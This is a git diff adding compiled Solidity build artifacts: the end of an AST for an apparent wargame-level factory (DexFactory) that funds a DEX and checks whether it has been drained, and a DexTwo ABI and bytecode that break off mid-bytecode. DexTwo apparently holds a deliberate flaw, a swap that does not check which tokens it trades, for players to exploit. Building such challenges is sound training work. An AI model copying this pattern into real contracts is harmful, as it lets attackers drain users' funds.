Dex"}},"id":50944,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"912:12:68","memberName":"addLiquidity","nodeType":"MemberAccess","referencedDeclaration":50626,"src":"903:21:68","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":50947,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"903:48:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50948,"nodeType":"ExpressionStatement","src":"903:48:68"},{"expression":{"arguments":[{"id":50952,"name":"tokenInstanceTwoAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50915,"src":"983:23:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"313030","id":50953,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1008:3:68","typeDescriptions":{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"},"value":"100"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_100_by_1","typeString":"int_const 100"}],"expression":{"id":50949,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50870,"src":"961:8:68","typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":50951,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"970:12:68","memberName":"addLiquidity","nodeType":"MemberAccess","referencedDeclaration":50626,"src":"961:21:68","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":50954,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"961:51:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":50955,"nodeType":"ExpressionStatement","src":"961:51:68"},{"expression":{"arguments":[{"id":50959,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50862,"src":"1046:7:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3130","id":50960,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1055:2:68","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"expression":{"id":50956,"name":"tokenInstance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50885,"src":"1023:13:68","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"id":50958,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1037:8:68","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"1023:22:68","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":50961,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1023:35:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50962,"nodeType":"ExpressionStatement","src":"1023:35:68"},{"expression":{"arguments":[{"id":50966,"name":"_player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50862,"src":"1094:7:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"3130","id":50967,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1103:2:68","typeDescriptions":{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"},"value":"10"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_10_by_1","typeString":"int_const 10"}],"expression":{"id":50963,"name":"tokenInstanceTwo","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50897,"src":"1068:16:68","typeDescriptions":{"typeIdentifier":"t_contract$_SwappableToken_$50853","typeString":"contract SwappableToken"}},"id":50965,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1085:8:68","memberName":"transfer","nodeType":"MemberAccess","referencedDeclaration":47399,"src":"1068:25:68","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$_t_bool_$","typeString":"function (address,uint256) external returns (bool)"}},"id":50968,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1068:38:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":50969,"nodeType":"ExpressionStatement","src":"1068:38:68"},{"expression":{"id":50970,"name":"instanceAddress","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50877,"src":"1124:15:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"functionReturnParameters":50867,"id":50971,"nodeType":"Return","src":"1117:22:68"}]},"baseFunctions":[55498],"functionSelector":"7726f776","implemented":true,"kind":"function","modifiers":[],"name":"createInstance","nameLocation":"208:14:68","overrides":{"id":50864,"nodeType":"OverrideSpecifier","overrides":[],"src":"255:8:68"},"parameters":{"id":50863,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50862,"mutability":"mutable","name":"_player","nameLocation":"231:7:68","nodeType":"VariableDeclaration","scope":50973,"src":"223:15:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50861,"name":"address","nodeType":"ElementaryTypeName","src":"223:7:68","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"222:17:68"},"returnParameters":{"id":50867,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50866,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":50973,"src":"273:7:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50865,"name":"address","nodeType":"ElementaryTypeName","src":"273:7:68","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"272:9:68"},"scope":51019,"stateMutability":"payable","virtual":false,"visibility":"public"},{"id":51018,"nodeType":"FunctionDefinition","src":"1152:305:68","nodes":[],"body":{"id":51017,"nodeType":"Block","src":"1250:207:68","nodes":[],"statements":[{"assignments":[50984],"declarations":[{"constant":false,"id":50984,"mutability":"mutable","name":"token1","nameLocation":"1268:6:68","nodeType":"VariableDeclaration","scope":51017,"src":"1260:14:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50983,"name":"address","nodeType":"ElementaryTypeName","src":"1260:7:68","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":50990,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":50986,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50975,"src":"1281:9:68","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":50985,"name":"Dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50797,"src":"1277:3:68","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Dex_$50797_$","typeString":"type(contract Dex)"}},"id":50987,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1277:14:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":50988,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1292:6:68","memberName":"token1","nodeType":"MemberAccess","referencedDeclaration":50579,"src":"1277:21:68","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":50989,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1277:23:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1260:40:68"},{"assignments":[50992],"declarations":[{"constant":false,"id":50992,"mutability":"mutable","name":"token2","nameLocation":"1318:6:68","nodeType":"VariableDeclaration","scope":51017,"src":"1310:14:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50991,"name":"address","nodeType":"ElementaryTypeName","src":"1310:7:68","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"id":50998,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"arguments":[{"id":50994,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50975,"src":"1331:9:68","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":50993,"name":"Dex","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50797,"src":"1327:3:68","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Dex_$50797_$","typeString":"type(contract Dex)"}},"id":50995,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1327:14:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Dex_$50797","typeString":"contract Dex"}},"id":50996,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1342:6:68","memberName":"token2","nodeType":"MemberAccess","referencedDeclaration":50581,"src":"1327:21:68","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_address_$","typeString":"function () view external returns (address)"}},"id":50997,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1327:23:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"VariableDeclarationStatement","src":"1310:40:68"},{"expression":{"commonType":{"typeIdentifier":"t_bool","typeString":"bool"},"id":51015,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51006,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51003,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50975,"src":"1392:9:68","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"arguments":[{"id":51000,"name":"token1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50984,"src":"1374:6:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":50999,"name":"IERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47939,"src":"1367:6:68","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_IERC20_$47939_$","typeString":"type(contract IERC20)"}},"id":51001,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1367:14:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_IERC20_$47939","typeString":"contract IERC20"}},"id":51002,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1382:9:68","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47896,"src":"1367:24:68","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51004,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1367:35:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":51005,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1406:1:68","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1367:40:68","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"nodeType":"BinaryOperation","operator":"||","rightExpression":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":51014,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"id":51011,"name":"_instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50975,"src":"1435:9:68","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"arguments":[{"id":51008,"name":"token2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":50992,"src":"1417:6:68","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":51007,"name":"ERC20","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":47861,"src":"1411:5:68","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_ERC20_$47861_$","typeString":"type(contract ERC20)"}},"id":51009,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1411:13:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ERC20_$47861","typeString":"contract ERC20"}},"id":51010,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1425:9:68","memberName":"balanceOf","nodeType":"MemberAccess","referencedDeclaration":47374,"src":"1411:23:68","typeDescriptions":{"typeIdentifier":"t_function_external_view$_t_address_$returns$_t_uint256_$","typeString":"function (address) view external returns (uint256)"}},"id":51012,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1411:34:68","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"hexValue":"30","id":51013,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1449:1:68","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"src":"1411:39:68","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"src":"1367:83:68","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"functionReturnParameters":50982,"id":51016,"nodeType":"Return","src":"1360:90:68"}]},"baseFunctions":[55507],"functionSelector":"d38def5b","implemented":true,"kind":"function","modifiers":[],"name":"validateInstance","nameLocation":"1161:16:68","overrides":{"id":50979,"nodeType":"OverrideSpecifier","overrides":[],"src":"1226:8:68"},"parameters":{"id":50978,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50975,"mutability":"mutable","name":"_instance","nameLocation":"1194:9:68","nodeType":"VariableDeclaration","scope":51018,"src":"1178:25:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":50974,"name":"address","nodeType":"ElementaryTypeName","src":"1178:15:68","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"constant":false,"id":50977,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51018,"src":"1205:7:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":50976,"name":"address","nodeType":"ElementaryTypeName","src":"1205:7:68","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1177:36:68"},"returnParameters":{"id":50982,"nodeType":"ParameterList","parameters":[{"constant":false,"id":50981,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":51018,"src":"1244:4:68","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":50980,"name":"bool","nodeType":"ElementaryTypeName","src":"1244:4:68","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1243:6:68"},"scope":51019,"stateMutability":"view","virtual":false,"visibility":"public"}],"abstract":false,"baseContracts":[{"baseName":{"id":50859,"name":"Level","nameLocations":["187:5:68"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"187:5:68"},"id":50860,"nodeType":"InheritanceSpecifier","src":"187:5:68"}],"canonicalName":"DexFactory","contractDependencies":[50797,50853],"contractKind":"contract","fullyImplemented":true,"linearizedBaseContracts":[51019,55508,46700,48281],"name":"DexFactory","nameLocation":"173:10:68","scope":51020,"usedErrors":[],"usedEvents":[46601]}],"license":"MIT"},"id":68} \ No newline at end of file diff --git a/contracts/out/DexTwo.sol/DexTwo.json b/contracts/out/DexTwo.sol/DexTwo.json new file mode 100644 index 000000000..0bc00f2e6 --- /dev/null +++ b/contracts/out/DexTwo.sol/DexTwo.json @@ -0,0 +1 @@ +{"abi":[{"type":"constructor","inputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"add_liquidity","inputs":[{"name":"token_address","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"approve","inputs":[{"name":"spender","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"balanceOf","inputs":[{"name":"token","type":"address","internalType":"address"},{"name":"account","type":"address","internalType":"address"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"getSwapAmount","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[{"name":"","type":"uint256","internalType":"uint256"}],"stateMutability":"view"},{"type":"function","name":"owner","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"renounceOwnership","inputs":[],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"setTokens","inputs":[{"name":"_token1","type":"address","internalType":"address"},{"name":"_token2","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"swap","inputs":[{"name":"from","type":"address","internalType":"address"},{"name":"to","type":"address","internalType":"address"},{"name":"amount","type":"uint256","internalType":"uint256"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"function","name":"token1","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"token2","inputs":[],"outputs":[{"name":"","type":"address","internalType":"address"}],"stateMutability":"view"},{"type":"function","name":"transferOwnership","inputs":[{"name":"newOwner","type":"address","internalType":"address"}],"outputs":[],"stateMutability":"nonpayable"},{"type":"event","name":"OwnershipTransferred","inputs":[{"name":"previousOwner","type":"address","indexed":true,"internalType":"address"},{"name":"newOwner","type":"address","indexed":true,"internalType":"address"}],"anonymous":false}],"bytecode":{"object":"0x608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6109c18061007a5f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c80638da5cb5b1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b80638da5cb5b14610149578063cbc7854e14610159578063d21220a71461016c575f80fd5b8063264e8893116100ad578063264e88931461010d578063635bc0c214610120578063715018a614610141575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610861565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610861565b61028a565b61013361012e366004610889565b61030b565b604051908152602001610104565b6100db6103f5565b5f546001600160a01b03166100f0565b6100db6101673660046108c2565b610408565b6001546100f0906001600160a01b031681565b6100db61018d366004610889565b61044b565b6100db6101a03660046108f3565b61068d565b6101336101b33660046108c2565b61071d565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610791565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610306919061090c565b505050565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa15801561034f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103739190610932565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d99190610932565b6103e39084610949565b6103ed919061096c565b949350505050565b6103fd610791565b6104065f6107ea565b565b610410610791565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561048f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b39190610932565b10156105065760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064015b60405180910390fd5b5f61051284848461030b565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af1158015610565573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610589919061090c565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af11580156105ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610611919061090c565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610662573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610686919061090c565b5050505050565b610695610791565b6001600160a01b0381166107115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104fd565b61071a816107ea565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa158015610764573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107889190610932565b90505b92915050565b5f546001600160a01b031633146104065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104fd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b038116811461085c575f80fd5b919050565b5f8060408385031215610872575f80fd5b61087b83610846565b946020939093013593505050565b5f805f6060848603121561089b575f80fd5b6108a484610846565b92506108b260208501610846565b9150604084013590509250925092565b5f80604083850312156108d3575f80fd5b6108dc83610846565b91506108ea60208401610846565b90509250929050565b5f60208284031215610903575f80fd5b61078882610846565b5f6020828403121561091c575f80fd5b8151801515811461092b575f80fd5b9392505050565b5f60208284031215610942575f80fd5b5051919050565b808202811582820484141761078b57634e487b7160e01b5f52601160045260245ffd5b5f8261098657634e487b7160e01b5f52601260045260245ffd5b50049056fea2646970667358221220b06b3477cf4b0a293b58d8e5e0116b11e52ae38e1b535652e333e7bfd7f27fd964736f6c63430008180033","sourceMap":"230:1402:69:-:0;;;318:16;;;;;;;;;-1:-1:-1;936:32:23;719:10:34;936:18:23;:32::i;:::-;230:1402:69;;2433:187:23;2506:16;2525:6;;-1:-1:-1;;;;;2541:17:23;;;-1:-1:-1;;;;;;2541:17:23;;;;;;2573:40;;2525:6;;;;;;;2573:40;;2506:16;2573:40;2496:124;2433:187;:::o;230:1402:69:-;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b50600436106100c4575f3560e01c80638da5cb5b1161007d578063df791e5011610058578063df791e501461017f578063f2fde38b14610192578063f7888aec146101a5575f80fd5b80638da5cb5b14610149578063cbc7854e14610159578063d21220a71461016c575f80fd5b8063264e8893116100ad578063264e88931461010d578063635bc0c214610120578063715018a614610141575f80fd5b8063095ea7b3146100c857806325be124e146100dd575b5f80fd5b6100db6100d6366004610861565b6101b8565b005b6002546100f0906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6100db61011b366004610861565b61028a565b61013361012e366004610889565b61030b565b604051908152602001610104565b6100db6103f5565b5f546001600160a01b03166100f0565b6100db6101673660046108c2565b610408565b6001546100f0906001600160a01b031681565b6100db61018d366004610889565b61044b565b6100db6101a03660046108f3565b61068d565b6101336101b33660046108c2565b61071d565b60015460405163e1f21c6760e01b81523360048201526001600160a01b038481166024830152604482018490529091169063e1f21c67906064015f604051808303815f87803b158015610209575f80fd5b505af115801561021b573d5f803e3d5ffd5b505060025460405163e1f21c6760e01b81523360048201526001600160a01b03868116602483015260448201869052909116925063e1f21c6791506064015f604051808303815f87803b158015610270575f80fd5b505af1158015610282573d5f803e3d5ffd5b505050505050565b610292610791565b6040516323b872dd60e01b8152336004820152306024820152604481018290526001600160a01b038316906323b872dd906064016020604051808303815f875af11580156102e2573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610306919061090c565b505050565b6040516370a0823160e01b81523060048201525f906001600160a01b038516906370a0823190602401602060405180830381865afa15801561034f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103739190610932565b6040516370a0823160e01b81523060048201526001600160a01b038516906370a0823190602401602060405180830381865afa1580156103b5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906103d99190610932565b6103e39084610949565b6103ed919061096c565b949350505050565b6103fd610791565b6104065f6107ea565b565b610410610791565b600180546001600160a01b0393841673ffffffffffffffffffffffffffffffffffffffff199182161790915560028054929093169116179055565b6040516370a0823160e01b815233600482015281906001600160a01b038516906370a0823190602401602060405180830381865afa15801561048f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104b39190610932565b10156105065760405162461bcd60e51b815260206004820152601260248201527f4e6f7420656e6f75676820746f2073776170000000000000000000000000000060448201526064015b60405180910390fd5b5f61051284848461030b565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038516906323b872dd906064016020604051808303815f875af1158015610565573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610589919061090c565b506040517f095ea7b3000000000000000000000000000000000000000000000000000000008152306004820152602481018290526001600160a01b0384169063095ea7b3906044016020604051808303815f875af11580156105ed573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610611919061090c565b506040516323b872dd60e01b8152306004820152336024820152604481018290526001600160a01b038416906323b872dd906064016020604051808303815f875af1158015610662573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610686919061090c565b5050505050565b610695610791565b6001600160a01b0381166107115760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016104fd565b61071a816107ea565b50565b6040516370a0823160e01b81526001600160a01b0382811660048301525f91908416906370a0823190602401602060405180830381865afa158015610764573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107889190610932565b90505b92915050565b5f546001600160a01b031633146104065760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016104fd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b80356001600160a01b038116811461085c575f80fd5b919050565b5f8060408385031215610872575f80fd5b61087b83610846565b946020939093013593505050565b5f805f6060848603121561089b575f80fd5b6108a484610846565b92506108b260208501610846565b9150604084013590509250925092565b5f80604083850312156108d3575f80fd5b6108dc83610846565b91506108ea60208401610846565b90509250929050565b5f60208284031215610903575f80fd5b61078882610846565b5f6020828403121561091c575f80fd5b